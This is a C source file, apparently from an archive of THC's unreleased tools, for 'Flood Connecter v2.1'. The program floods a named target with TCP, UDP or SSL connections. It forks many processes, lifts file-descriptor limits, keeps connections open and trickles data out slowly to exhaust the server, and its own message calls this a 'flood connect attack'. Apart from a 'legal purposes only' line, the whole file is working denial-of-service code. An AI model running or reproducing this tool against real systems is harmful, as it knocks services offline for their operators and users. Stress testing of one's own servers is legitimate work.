added unreleased README
[oweals/thc-archive.git] / Unreleased_Stuff / flood_connect-2.1.c
1 /*
2  * Flood Connecter v2.1 (c) 2003-2005 by van Hauser / THC <vh@thc.org>
3  * http://www.thc.org
4  *
5  * Connection flooder, can also send data, keep connections open etc.
6  *
7  * Changes:
8  *              2.1 Small enhancements and bugfixes
9  *              2.0 added slow send options (-w/-W), very powerful!
10  *              1.4 initial public release
11  *
12  * Use allowed only for legal purposes.
13  *
14  * To compile:   cc -o flood_connect -O2 flood_connect.c
15  * with openssl: cc -o flood_connect -O2 flood_connect.c -DOPENSSL -lssl
16  *
17  */
18
19 #include <stdio.h>
20 #include <string.h>
21 #include <netdb.h>
22 #include <netinet/in.h>
23 #include <netinet/tcp.h>
24 #include <sys/types.h>
25 #include <sys/socket.h>
26 #include <sys/stat.h>
27 #include <sys/time.h>
28 #include <sys/resource.h>
29 #include <arpa/inet.h>
30 #include <stdlib.h>
31 #include <unistd.h>
32 #include <fcntl.h>
33 #include <signal.h>
34 #include <time.h>
35
36 #define PORT         80    // change this if you want
37 #define UNLIMITED    0     // dont change this
38 #define MAX_SOCKETS  65536 // change this if you want to
39 #define MAXFORKS     10240
40
41 #ifdef OPENSSL
42  #include <openssl/ssl.h>
43  #include <openssl/err.h>
44  SSL     *ssl = NULL;
45  SSL_CTX *sslContext = NULL;
46  RSA     *rsa = NULL;
47
48  RSA *ssl_temp_rsa_cb(SSL *ssl, int export, int keylength) {
49     if (rsa == NULL)
50         rsa = RSA_generate_key(512, RSA_F4, NULL, NULL);
51     return rsa;
52  }
53 #endif
54
55 typedef struct {
56     int socket;
57 #ifdef OPENSSL
58     SSL *ssl;
59 #endif
60     int where;
61 } socket_struct;
62
63 char *prg;
64 int   verbose = 0;
65 int   forks = 0;
66 int   pids[MAXFORKS];
67 int   warn = 0;
68 socket_struct sockets[MAX_SOCKETS];
69 time_t last_send = 0;
70 int   send_delay = 0;
71 int   send_amount = 0;
72 int   use_ssl = 0;
73 char *str = NULL;
74 int   str_len = 0;
75 unsigned long int count = 0, successful = 0;
76
77 void help() {
78     printf("Flood Connect v2.0 (c) 2003 by van Hauser/THC <vh@thc.org> http://www.thc.org\n");
79     printf("Syntax: %s [-S] [-u] [-p port] [-i file] [-n connects] [-N delay] [-c] [-C delay] [-d] [-D delay] [-w bytes] [-W delay] [-e] [-k] [-v] TARGET\n", prg);
80     printf("Options:\n");
81     printf("    -S           use SSL after TCP connect (not with -u, sets default port=443)\n");
82     printf("    -u           use UDP protocol (default: TCP) (not usable with -c and -S)\n");
83     printf("    -p port      port to connect to (default: %d)\n", PORT);
84     printf("    -f forks     number of forks to additionally spawn (default: 0)\n");
85     printf("    -i file      data to send to the port (default: none)\n");
86     printf("    -n connects  maximum number of connects (default: unlimited)\n");
87     printf("    -N delay     delay in ms between connects  (default: 0)\n");
88     printf("    -c           close after connect (and sending data, if used with -i)\n");
89     printf("                  use twice to shutdown SSL sessions hard (-S -c -c)\n");
90     printf("    -C delay     delay in ms before closing the port (use with -c) (default: 0)\n");
91     printf("    -d           dump data read from server\n");
92     printf("    -D delay     delay in ms before read+dump data (-d) from server (default: 0)\n");
93     printf("    -w bytes     amount of data from -i to send at one time (default: all)\n");
94     printf("    -W delay     delay in seconds between sends, required by -w option\n");
95     printf("    -e           stop when no more connects possible (default: retry forever)\n");
96     printf("    -k           no keep-alive after finnishing with connects - terminate!\n");
97     printf("    -v           verbose mode\n");
98     printf("    TARGET       target to flood attack (ip or dns)\n");
99     printf("Connection flooder. Nothing more to say. Use only allowed for legal purposes.\n");
100     exit(-1);
101 }
102
103 void kill_children(int signo) {
104     int i = 0;
105     printf("Aborted (made %s%ld successful connects)\n", forks ? "approx. " : "", successful + successful * forks);
106     while (i < forks) {
107         kill(pids[i], SIGTERM);
108         i++;
109     }
110     usleep(10000);
111     i = 0;
112     while (i < forks) {
113         kill(pids[i], SIGKILL);
114         i++;
115     }
116     exit(-1);
117 }
118
119 void killed_children(int signo) {
120     int i = 0;
121     if (verbose) {
122       printf("Killed (made %ld successful connects)\n", successful);
123     }
124     exit(0);
125 }
126
127 void resend() {
128     int i = 0, send = send_amount;
129     
130     if (last_send + send_delay > time(NULL))
131         return;
132     last_send = time(NULL);
133
134     for (i = 0; i < MAX_SOCKETS; i++) {
135         if (sockets[i].socket >= 0) {
136             if (sockets[i].where < str_len) {
137                 if (sockets[i].where + send > str_len)
138                     send = str_len - sockets[i].where;
139                 if (use_ssl) {
140 #ifdef OPENSSL
141                     SSL_write(sockets[i].ssl, str + sockets[i].where, send);
142 #endif
143                 } else {
144                     write(sockets[i].socket, str + sockets[i].where, send);
145                 }
146                 sockets[i].where += send;
147             }
148         }
149     }
150 }
151
152 int main(int argc, char *argv[]) {
153     unsigned short int  port = PORT;
154     long int max_connects = UNLIMITED;
155     int      close_connection = 0;
156     int      exit_on_sock_error = 0;
157     int      keep_alive = 1;
158     int      debug = 0;
159     int      dump = 0;
160     long int connect_delay = 0, close_delay = 0, dump_delay = 0;
161     char    *infile = NULL;
162     struct   stat st;
163     FILE    *f = NULL;
164     int      i;
165     int      s;
166     int      ret;
167     int      err;
168     int      client = 0;
169     int      reads = 0;
170     int      sock_type = SOCK_STREAM;
171     int      sock_protocol = IPPROTO_TCP;
172     char     buf[8196];
173     struct sockaddr_in target;
174     struct hostent    *resolv;
175     struct rlimit      rlim;
176     int      pidcount = 0, res = 0;
177
178     prg = argv[0];
179     err = 0;
180     memset(sockets, 0, sizeof(sockets));
181     for (i = 0; i < MAX_SOCKETS; i++)
182         sockets[i].socket = -1;
183
184     if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
185         help();
186
187     while ((i = getopt(argc, argv, "cf:C:dD:N:ei:kn:p:SuvVw:W:")) >= 0) {
188         switch (i) {
189             case 'c': close_connection++; break;
190             case 'f': forks = atoi(optarg); break;
191             case 'N': connect_delay = atol(optarg); break;
192             case 'C': close_delay = atol(optarg); break;
193             case 'D': dump_delay = atol(optarg); break;
194             case 'W': send_delay = atoi(optarg); break;
195             case 'w': send_amount = atoi(optarg); break;
196             case 'd': dump = 1; break;
197             case 'e': exit_on_sock_error = 1; break;
198             case 'u': sock_type = SOCK_DGRAM;
199                       sock_protocol = IPPROTO_UDP;
200                       break;
201             case 'v': verbose = 1; break;
202             case 'V': debug = 1; break;
203             case 'i': infile = optarg; break;
204             case 'k': keep_alive = 0; break;
205             case 'n': max_connects = atol(optarg); break;
206             case 'S': use_ssl = 1;
207                       if (port == PORT)
208                           port = 443;
209 #ifndef OPENSSL
210                       fprintf(stderr, "Error: Not compiled with openssl support, use -DOPENSSL -lssl\n");
211                       exit(-1);
212 #endif
213                       break;
214             case 'p': if (atoi(optarg) < 1 || atoi(optarg) > 65535) {
215                           fprintf(stderr, "Error: port must be between 1 and 65535\n");
216                           exit(-1);
217                       }
218                       port = atoi(optarg) % 65536;
219                       break;
220             default: fprintf(stderr,"Error: unknown option -%c\n", i); help();
221         }
222     }
223
224     if (optind + 1 != argc) {
225         fprintf(stderr, "Error: target missing or too many commandline options!\n");
226         exit(-1);
227     }
228     
229     if ((send_amount || send_delay) && ! (send_amount && send_delay) ) {
230         fprintf(stderr, "Error: you must specify both -w and -W options together!\n");
231         exit(-1);
232     }
233
234     if (close_connection && send_delay) {
235         fprintf(stderr, "Error: you can not use -c and -w/-W options together!\n");
236         exit(-1);
237     }
238
239     if (forks > MAXFORKS) {
240         fprintf(stderr, "Error: Maximum number of pids is %d, edit code and recompile\n", MAXFORKS);
241         exit(-1);
242     }
243
244     if (infile != NULL) {
245         if ((f = fopen(infile, "r")) == NULL) {
246             fprintf(stderr, "Error: can not find file %s\n", infile);
247             exit(-1);
248         }
249         fstat(fileno(f), &st);
250         str_len = (int) st.st_size;
251         str = malloc(str_len);
252         fread(str, str_len, 1, f);
253         fclose(f);
254     }
255
256     if ((resolv = gethostbyname(argv[argc-1])) == NULL) {
257         fprintf(stderr, "Error: can not resolve target\n");
258         exit(-1);
259     }
260     memset(&target, 0, sizeof(target));
261     memcpy(&target.sin_addr.s_addr, resolv->h_addr, 4);
262     target.sin_port = htons(port);
263     target.sin_family = AF_INET;
264
265     if (connect_delay > 0)
266         connect_delay = connect_delay * 1000; /* ms to microseconds */
267     else
268         connect_delay = 1;
269     if (close_delay > 0)
270         close_delay = close_delay * 1000; /* ms to microseconds */
271     else
272         close_delay = 1;
273     if (dump_delay > 0)
274         dump_delay = dump_delay * 1000; /* ms to microseconds */
275     else
276         dump_delay = 1;
277
278     rlim.rlim_cur = MAXFORKS + 1;
279     rlim.rlim_max = MAXFORKS + 2;
280     ret = setrlimit(RLIMIT_NPROC, &rlim);
281 #ifndef RLIMIT_NOFILE
282  #ifdef RLIMIT_OFILE
283    #define RLIMIT_NOFILE RLIMIT_OFILE
284  #endif
285 #endif
286     rlim.rlim_cur = 60000;
287     rlim.rlim_max = 60001;
288     ret = setrlimit(RLIMIT_NOFILE, &rlim);
289     rlim.rlim_cur = RLIM_INFINITY;
290     rlim.rlim_max = RLIM_INFINITY;
291     ret = setrlimit(RLIMIT_NPROC, &rlim);
292     ret = setrlimit(RLIMIT_NOFILE, &rlim);
293     if (verbose) {
294         if (ret == 0)
295             printf("setrlimit for unlimited filedescriptors succeeded.\n");
296         else
297             printf("setrlimit for unlimited filedescriptors failed.\n");
298     }
299
300     for (i = 3; i < 4096; i++)
301         close(i);
302
303     printf("Starting flood connect attack on %s port %d\n", inet_ntoa((struct in_addr)target.sin_addr), port);
304     (void) setvbuf(stdout, NULL, _IONBF, 0);
305     if (verbose)
306         printf("Writing a \".\" for every 100 connect attempts\n");
307
308     ret = 0;
309     count = 0;
310     successful = 0;
311     i = 1;
312     s = -1;
313     res = 1;
314
315     while(pidcount < forks && res != 0) {
316         res = pids[pidcount] = fork();
317         pidcount++;
318     }
319
320     if (res == 0) {
321         client = 1;
322         signal(SIGTERM, killed_children);
323     }
324         
325     if (res != 0) {
326         if (verbose && pidcount > 0)
327           printf("Spawned %d clients\n", pidcount);
328         signal(SIGTERM, kill_children);
329         signal(SIGINT, kill_children);
330         signal(SIGSEGV, kill_children);
331         signal(SIGHUP, kill_children);
332     }
333
334     if (use_ssl) {
335 #ifdef OPENSSL
336         SSL_load_error_strings();
337         SSLeay_add_ssl_algorithms();
338
339         // context: ssl2 + ssl3 is allowed, whatever the server demands
340         if ((sslContext = SSL_CTX_new(SSLv23_method())) == NULL) {
341             if (verbose) {
342                 err = ERR_get_error();
343                 fprintf(stderr, "SSL: Error allocating context: %s\n", ERR_error_string(err, NULL));
344             }
345             res = -1;
346         }
347
348         // set the compatbility mode
349         SSL_CTX_set_options(sslContext, SSL_OP_ALL);
350
351         // we set the default verifiers and dont care for the results
352         (void) SSL_CTX_set_default_verify_paths(sslContext);
353         SSL_CTX_set_tmp_rsa_callback(sslContext, ssl_temp_rsa_cb);
354         SSL_CTX_set_verify(sslContext, SSL_VERIFY_NONE, NULL);
355 #endif
356     }
357
358     while (count < max_connects || max_connects == UNLIMITED) {
359         if (ret >= 0) {
360             if ((s = socket(AF_INET, sock_type, sock_protocol)) < 0) {
361                 if (verbose && warn == 0) {
362                     perror("Warning (socket)");
363                     warn = 1;
364                 }
365                 if (exit_on_sock_error)
366                     exit(0);
367             } else {
368                setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
369             }
370         }
371         if (s >= 0) {
372             ret = connect(s, (struct sockaddr *)&target, sizeof(target));
373             if (use_ssl && ret >= 0) {
374 #ifdef OPENSSL
375                 if ((ssl = SSL_new(sslContext)) == NULL) {
376                     if (verbose) {
377                         err = ERR_get_error();
378                         fprintf(stderr, "Error preparing an SSL context: %s\n", ERR_error_string(err, NULL));
379                     }
380                     ret = -1;
381                 } else
382                     SSL_set_fd(ssl, s);
383                 if (ret >= 0 && SSL_connect(ssl) <= 0) {
384                     printf("ERROR %d\n", SSL_connect(ssl));
385                     if (verbose) {
386                         err = ERR_get_error();
387                         fprintf(stderr, "Could not create an SSL session: %s\n", ERR_error_string(err, NULL));
388                     }
389                     ret = -1;
390                 }
391
392                 if (debug)
393                     fprintf(stderr, "SSL negotiated cipher: %s\n", SSL_get_cipher(ssl));
394 #endif
395             }
396             count++;
397             if (ret >= 0) {
398                 successful++;
399                 warn = 0;
400                 if (str_len > 0) {
401                     sockets[s].socket = s;
402                     sockets[s].where = 0;
403 #ifdef OPENSSL
404                     sockets[s].ssl = ssl;
405 #endif
406                     if (! use_ssl)
407                         if (setsockopt(s, SOL_TCP, TCP_NODELAY, &i, sizeof(i)) != 0)
408                             perror("Warning (setsockopt SOL_TCP)");
409                     if (send_delay > 0) {
410                         resend();
411                     } else {
412                         if (use_ssl) {
413 #ifdef OPENSSL
414                             SSL_write(ssl, str, str_len);
415 #endif
416                         } else {
417                             write(s, str, str_len);
418                         }
419                     }
420                 }
421                 if (dump) {
422                     fcntl(s, F_SETFL, O_NONBLOCK);
423                     if (dump_delay > 0)
424                         usleep(dump_delay);
425                     if (use_ssl) {
426 #ifdef OPENSSL
427                         reads = SSL_read(ssl, buf, sizeof(buf));
428 #endif
429                     } else {
430                         reads = read(s, buf, sizeof(buf));
431                     }
432                     if (reads > 0)
433                         printf("DATA: %s\n", buf);
434                     if (send_delay > 0)
435                         resend();
436                 }
437                 if (close_connection) {
438                     if (close_delay > 0)
439                         usleep(close_delay);
440 #ifdef OPENSSL
441                     if (use_ssl && close_connection == 1)
442                         SSL_shutdown(ssl);
443 #endif
444                     close(s);
445 #ifdef OPENSSL
446                     if (use_ssl && close_connection > 1)
447                         SSL_shutdown(ssl);
448 #endif
449                 }
450                 if (connect_delay > 0)
451                     usleep(connect_delay);
452             } else {
453                 if (verbose && warn == 0) {
454                     perror("Warning (connect)");
455                     warn = 1;
456                 }
457                 if (exit_on_sock_error)
458                     exit(0);
459             }
460             if (verbose)
461                 if (count % 100 == 0)
462                     printf(".");
463             if (send_delay > 0)
464                 resend();
465         } else
466             close(s);
467     }
468     if (client) {
469         while (1) {}
470     } else {
471         if (verbose)
472             printf("\n");
473         printf("Done (made %s%ld successful connects)\n", forks ? "approx. " : "", successful + successful * forks);
474         if (send_delay) {
475             int end = 0;
476             printf("Still sending data ...\n");
477             while(! end) {
478                 resend();
479                 sleep(send_delay);
480                 end = 1;
481                 for (i = 0; i < MAX_SOCKETS; i++)
482                     if (sockets[i].socket >= 0 && sockets[i].where < str_len)
483                         end = 0;
484             }
485         }
486         if (keep_alive && close_connection == 0) {
487             printf("Press <ENTER> to terminate connections and this program\n");
488             (void) getc(stdin);
489         }
490     
491         if (forks > 0) {
492             usleep(1 + connect_delay + dump_delay + close_delay);
493             while (i < forks) {
494                 kill(pids[i], SIGTERM);
495                 i++;
496             }
497             usleep(10000);
498             i = 0;
499             while (i < forks) {
500                 kill(pids[i], SIGKILL);
501                 i++;
502             }
503         }
504     }
505     return 0;
506 }